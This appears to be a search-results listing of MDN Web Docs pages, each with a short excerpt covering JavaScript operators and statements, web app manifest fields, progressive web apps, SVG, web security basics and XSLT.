3 const [c] = f(); console.log(c); // 1 you can also ignore all returned values: [,,] = f(); assigning the rest of an array to a variable when destructuring an array, you can unpack and assign the remaining part of it to a variable using the rest pattern: const [a, ...b] = [1, 2, 3]; console.log(a); // 1 console.log(b); // [2, 3] be aware that a syntaxerror will be thrown if a trailing comma is used on the left-hand side with a rest element: const [a, ...b,] = [1, 2, 3]; // syntaxerror: rest element may not have a trailing comma // always consider using rest operator as the last element unpacking values from a regular expression match when the regular expression exec() method finds a match, it returns an array containing first the entire matched portion of the string and then ...
Equality (==) - JavaScript
this can be roughly summarised as follows: if the operands are both objects, return true only if both operands reference the same object.
Greater than (>) - JavaScript
see the documentation for the less than operator for a summary of this algorithm.
Greater than or equal (>=) - JavaScript
see the documentation for the less than operator for a summary of this algorithm.
Less than (<) - JavaScript
syntax x < y description the operands are compared using the abstract relational comparison algorithm, which is roughly summarised below: first, objects are converted to primitives using symbol.toprimitive.
Less than or equal (<=) - JavaScript
see the documentation for the less than operator for a summary of this algorithm.
Nullish coalescing operator (??) - JavaScript
0; console.log(vala); // "default for a" console.log(valb); // "" (as the empty string is not null or undefined) console.log(valc); // 42 assigning a default value to a variable earlier, when one wanted to assign a default value to a variable, a common pattern was to use the logical or operator (||): let foo; // foo is never assigned any value so it is still undefined let somedummytext = foo || 'hello!'; however, due to || being a boolean logical operator, the left hand-side operand was coerced to a boolean for the evaluation and any falsy value (0, '', nan, null, undefined) was not returned.
Operator precedence - JavaScript
… += … … -= … … **= … … *= … … /= … … %= … … <<= … … >>= … … >>>= … … &= … … ^= … … |= … … &&= … … ||= … … ??= … 2 yield right-to-left yield … yield* yield* … 1 comma / sequence left-to-right … , … ...
Property accessors - JavaScript
(in the ecmascript standard, the names of properties are technically "identifiernames", not "identifiers", so reserved words can be used but are not recommended).
Spread syntax (...) - JavaScript
examples spread in function calls replace apply() it is common to use function.prototype.apply() in cases where you want to use the elements of an array as arguments to a function.
async function expression - JavaScript
an async function expression can be used as an iife (immediately invoked function expression) which runs as soon as it is defined.
await - JavaScript
after the await defers the continuation of its function, if this is the first await executed by the function, immediate execution also continues by returning to the function's caller a pending promise for the completion of the await's function and resuming execution of that caller.
delete operator - JavaScript
description unlike what common belief suggests (perhaps due to other programming languages like delete in c++), the delete operator has nothing to do with directly freeing memory.
super - JavaScript
here super() is called to avoid duplicating the constructor parts' that are common between rectangle and square.
typeof - JavaScript
description the following table summarizes the possible return values of typeof.
void operator - JavaScript
it should be noted that the precedence of the void operator should be taken into account and that parentheses can help clarify the resolution of the expression following the void operator: void 2 == '2'; // (void 2) == '2', returns false void (2 == '2'); // void (2 == '2'), returns undefined examples immediately invoked function expressions when using an immediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration.
Expressions and operators - JavaScript
comma operator , the comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.
empty - JavaScript
see the following example with an empty loop body: let arr = [1, 2, 3]; // assign all array values to 0 for (let i = 0; i < arr.length; arr[i++] = 0) /* empty statement */ ; console.log(arr); // [0, 0, 0] unintentional usage it is a good idea to comment intentional use of the empty statement, as it is not really obvious to distinguish from a normal semicolon.
for...in - JavaScript
given that for...in is built for iterating object properties, not recommended for use with arrays, and options like array.prototype.foreach() and for...of exist, what might be the use of for...in at all?
if...else - JavaScript
for example, do not use the following code: if (x = y) { /* do something */ } if you need to use an assignment in a conditional expression, a common practice is to put additional parentheses around the assignment.
import - JavaScript
(it is recommended not to have any side effects in a module, but you sometimes cannot control this in your module dependencies.) use dynamic import only when necessary.
label - JavaScript
note: labeled loops or blocks are very uncommon.
return - JavaScript
to avoid this problem (to prevent asi), you could use parentheses: return ( a + b ); examples interrupt a function a function immediately stops at the point where return is called.
Template literals (Template strings) - JavaScript
llowing escape sequences: unicode escapes started by "\u", for example \u00a9 unicode code point escapes indicated by "\u{}", for example \u{2f804} hexadecimal escapes started by "\x", for example \xa9 octal literal escapes started by "\0o" and followed by one or more digits, for example \0o251 this means that a tagged template like the following is problematic, because, per ecmascript grammar, a parser looks for valid unicode escape sequences, but finds malformed syntax: latex`\unicode` // throws in older ecmascript versions (es2016 and earlier) // syntaxerror: malformed unicode character escape sequence es2018 revision of illegal escape sequences tagged templates should allow the embedding of languages (for example dsls, or latex), where other escapes sequences are common.
JavaScript reference - JavaScript
arguments arrow functions default parameters rest parameters additional reference pages lexical grammar data types and data structures strict mode deprecated features ...
background_color - Web app manifests
examples "background_color": "red" specification specification status comment feedback web app manifestthe definition of 'background_color' in that specification.
categories - Web app manifests
example "categories": ["books", "education", "medical"] specification specification status comment feedback web app manifestthe definition of 'categories' in that specification.
description - Web app manifests
examples simple description in left-to-right language: "description": "awesome application that will help you achieve your dreams." description in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feedback web app manifestthe definition of 'description' in that specification.
dir - Web app manifests
WebManifestdir
example "dir": "rtl", "lang": "ar", "short_name": "!أنا من التطبيق" specification specification status comment feedback web app manifestthe definition of 'dir' in that specification.
display - Web app manifests
(none) example "display": "standalone" specification specification status comment feedback web app manifestthe definition of 'display' in that specification.
iarc_rating_id - Web app manifests
examples "iarc_rating_id": "e84b072d-71b3-4d3e-86ae-31a8ce4e53b7" specification specification status comment feedback web app manifestthe definition of 'iarc_rating_id' in that specification.
icons - Web app manifests
specification specification status comment feedback web app manifestthe definition of 'icons' in that specification.
lang - Web app manifests
WebManifestlang
examples "lang": "en-us" specification specification status comment feedback web app manifestthe definition of 'lang' in that specification.
name - Web app manifests
WebManifestname
examples simple name in left-to-right language: "name": "awesome application" right-to-left name in arabic: "dir": "rtl", "lang": "ar", "name": "!أنا من التطبيق" specification specification status comment feedback web app manifestthe definition of 'name' in that specification.
orientation - Web app manifests
values orientation can take one of the following values: any natural landscape landscape-primary landscape-secondary portrait portrait-primary portrait-secondary examples "orientation": "portrait-primary" specification specification status comment feedback web app manifestthe definition of 'orientation' in that specification.
prefer_related_applications - Web app manifests
examples "prefer_related_applications": true specification specification status comment feedback web app manifestthe definition of 'prefer_related_applications' in that specification.
related_applications - Web app manifests
specification specification status comment feedback web app manifestthe definition of 'related_applications' in that specification.
scope - Web app manifests
examples if the scope is relative, the manifest url is used as a base url: "scope": "/app/" the following scope limits navigation to the current site: "scope": "https://example.com/" finally, the following example limits navigation to a subdirectory of the current site: "scope": "https://example.com/subdirectory/" specification specification status comment feedback web app manifestthe definition of 'scope' in that specification.
screenshots - Web app manifests
examples "screenshots" : [ { "src": "screenshot1.webp", "sizes": "1280x720", "type": "image/webp" }, { "src": "screenshot2.webp", "sizes": "1280x720", "type": "image/webp" } ] specification specification status comment feedback web app manifestthe definition of 'screenshots' in that specification.
short_name - Web app manifests
examples simple short_name in left-to-right language: "name": "awesome application", "short_name": "awesome app" short_name in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "name": "تطبيق رائع", "short_name": "رائع" specification specification status comment feedback web app manifestthe definition of 'short_name' in that specification.
shortcuts - Web app manifests
examples the following is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "url": "/today", "description": "list of events planned for today" }, { "name": "new event", "url": "/create/event" }, { "name": "new reminder", "url": "/create/reminder" } ] specification specification status comment feedback web app manifestthe definition of 'shortcuts' in that specification.
start_url - Web app manifests
"start_url": "../startpoint.html" specification specification status comment feedback web app manifestthe definition of 'start_url' in that specification.
theme_color - Web app manifests
examples "theme_color": "red" specification specification status comment feedback web app manifestthe definition of 'theme_color' in that specification.
Using images in HTML - Web media technologies
WebMediaimages
image file type and format guide a guide to the various image file types commonly supported by web browsers including details about their individual use cases, capabilities, and compatibility factors.
Animation performance and frame rate - Web Performance
it's commonly accepted that 60 frames per second is the rate at which animations will appear smooth.
Understanding latency - Web Performance
on a connection with low latency, requested resources will appear almost immediately.
PWA developer guide - Progressive web apps (PWAs)
using notifications description creating a web app from an existing site description advanced topics pushing data from the server to your web application some description resource management description integration with the host device description security and privacy description gaming topics for web app developers description polishing web apps web api equivalents for common native apis some description platform-specific tips and issues description web application performance guide description ensuring a good user experience description related topics some topic some description ...
Introduction to progressive web apps - Progressive web apps (PWAs)
india's largest e-commerce site was rebuilt as a progressive web app in 2015, which resulted in 70% increase in conversions.
Progressive loading - Progressive web apps (PWAs)
this is all about deferring loading of as many resources as possible (html, css, javascript), and only loading those immediately that are really needed for the very first experience.
Responsive Navigation Patterns - Progressive web apps (PWAs)
top and left navigation menus are common on larger screens, but are often not the optimal way to present information on small screens because of the reduced screen real estate.
Progressive web apps (PWAs)
in this article we will go even further and improve the performance of the app by progressively loading its resources.progressive web app structurenow that we know the theory behind pwas, let's look at the recommended structure of an actual app.
Web API reference - Web technology reference
WebReferenceAPI
communication apis these apis let web pages and applications communicate with other pages or devices.
Web technology reference
introduction to css | getting started with css | learn css | common css questions | reference javascript — dynamic client-side scripting the javascript programming language is used to add interactivity and other dynamic features to web sites.
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
you can make changes to the svg in real time and see them immediately affect the rendering of the html.
SVG Conditional Processing Attributes - SVG: Scalable Vector Graphics
value: a list of comma-separated language id; animatable: no ...
SVG Core Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeCore
the svg core attributes are all the common attributes that can be specified on any svg element.
kerning - SVG: Scalable Vector Graphics
WebSVGAttributekerning
the most common scenario, other than auto, is to set kerning to a value of 0 so that auto-kerning is disabled.
rotate - SVG: Scalable Vector Graphics
WebSVGAttributerotate
emotionpath"/> <!-- purple arrow which will have a static rotation of 210 degrees --> <path fill="purple" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="210"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> </svg> result specifications specification status comment svg animations level 2the definition of 'rotate' in that specification.
<discard> - SVG: Scalable Vector Graphics
WebSVGElementdiscard
usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<script> attributes global attributes conditional processing attributes core attributes aria attributes specific attributes begin href (but note that <discard> has never supported xlink:href) specifications specification status comment svg animations level 2the definition of '<discard>' in that specification.
<feDropShadow> - SVG: Scalable Vector Graphics
core attributes most notably: id styling attributes class, style filter primitive attributes height, in, result, x, y, width presentation attributes most notably: flood-color, flood-opacity usage notes categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <script>, <set> specifications specification status comment filter effects module level 1the definition of '<fedropshadow>' in that specification.
SVG animation with SMIL - SVG: Scalable Vector Graphics
in this case, we're establishing a path consisting of a moveto command to establish the starting point for the animation, then the horizontal-line command to move the circle 300 pixels to the right, followed by the z command, which closes the path, establishing a loop back to the beginning.
Scripting - SVG: Scalable Vector Graphics
WebSVGScripting
links svg wiki on scripting and programming ...
Positions - SVG: Scalable Vector Graphics
a quote from the svg 1.1 specification illustrates this: [...] suppose that the user agent can determine from its environment that "1px" corresponds to "0.2822222mm" (i.e., 90dpi).
Tools for SVG - SVG: Scalable Vector Graphics
imagemagick is one of the most famous command-line image processing tools.
Certificate Transparency - Web security
specifications specification status comment certificate transparency ietf rfc ...
Mixed content - Web security
some common examples of mixed content include javascript files, stylesheets, images, videos, and other media.
Same-origin policy - Web security
to communicate between documents from different origins, use window.postmessage.
Features restricted to secure contexts - Web security
api chrome/opera edge safari firefox async clipboard api 66 not supported not supported 63 background sync (see syncmanager, for example) 49 not supported not supported not supported cache-control: immutable not supported 15 11 49 credential management api 51 not supported not supported not supported generic sensor api 67 not supported not supported not supported payment request api (and basic card payment).
Secure contexts - Web security
}); } specifications specification status comment secure contexts candidate recommendation editor’s draft ...
How to turn off form autocompletion - Web security
note that the wcag 2.1 success criterion 1.3.5: identify input purpose does not require that autocomplete/autofill actually work - merely that form fields that relate to specific personal user information are programmatically identified.
Securing your site - Web security
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
HTML Imports - Web Components
specification specification status comment html imports working draft initial definition.
Using custom elements - Web Components
many modern browsers implement an optimization for <style> tags either cloned from a common node or that have identical text, to allow them to share a single backing stylesheet.
Using shadow DOM - Web Components
many modern browsers implement an optimization for <style> tags either cloned from a common node or that have identical text, to allow them to share a single backing stylesheet.
Web Components
specifications specification status comment html living standardthe definition of '<template> element' in that specification.
xml:base - XML: Extensible Markup Language
WebXMLxml:base
work-arounds xml:base support in old browsers https://gist.github.com/leonderijke/c5cf7c5b2e424c0061d2 specifications specification status comment xml base (second edition) recommendation ...
XML: Extensible Markup Language
WebXML
it stands for extensible markup language and is a w3c recommended specification as a general purpose markup language.
Functions - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the following is an annotated list of core xpath functions and xslt-specific additions to xpath, including a description, syntax, a list of arguments, result-type, source in the appropriate w3c recommendation, and degree of present gecko support.
<xsl:namespace-alias> - XSLT: Extensible Stylesheet Language Transformations
the most common use for this element is in generating a stylesheet from another stylesheet.
<xsl:output> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementoutput
see comments above.
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
this applies even if there are other nodes such as comments or other pis between the xslt-param-namespace and xslt-param pis.
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference elements xsl:apply-imports (supported) xsl:apply-templates (supported) xsl:attribute (supported) xsl:attribute-set (supported) xsl:call-template (supported) xsl:choose (supported) xsl:comment (supported) xsl:copy (supported) xsl:copy-of (supported) xsl:decimal-format (supported) xsl:element (supported) xsl:fallback (not supported) xsl:for-each (supported) xsl:if (supported) xsl:import (mostly supported) xsl:include (supported) xsl:key (supported) xsl:message (supported) xsl:namespace-alias (not supported) xsl:number (partially supported) xsl:otherwise (supported) xsl...
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
rather than modifying the dom it is recommended to use stylesheet parameters which are usually easier and can give better performance.
Index - WebAssembly
found 12 pages: # page tags and summary 1 webassembly landing, webassembly, wasm webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++ with a compilation target so that they can run on the web.
onunload - XUL
this code is used by some programmers to annoyingly pop up alert boxes preventing the users from leaving the page.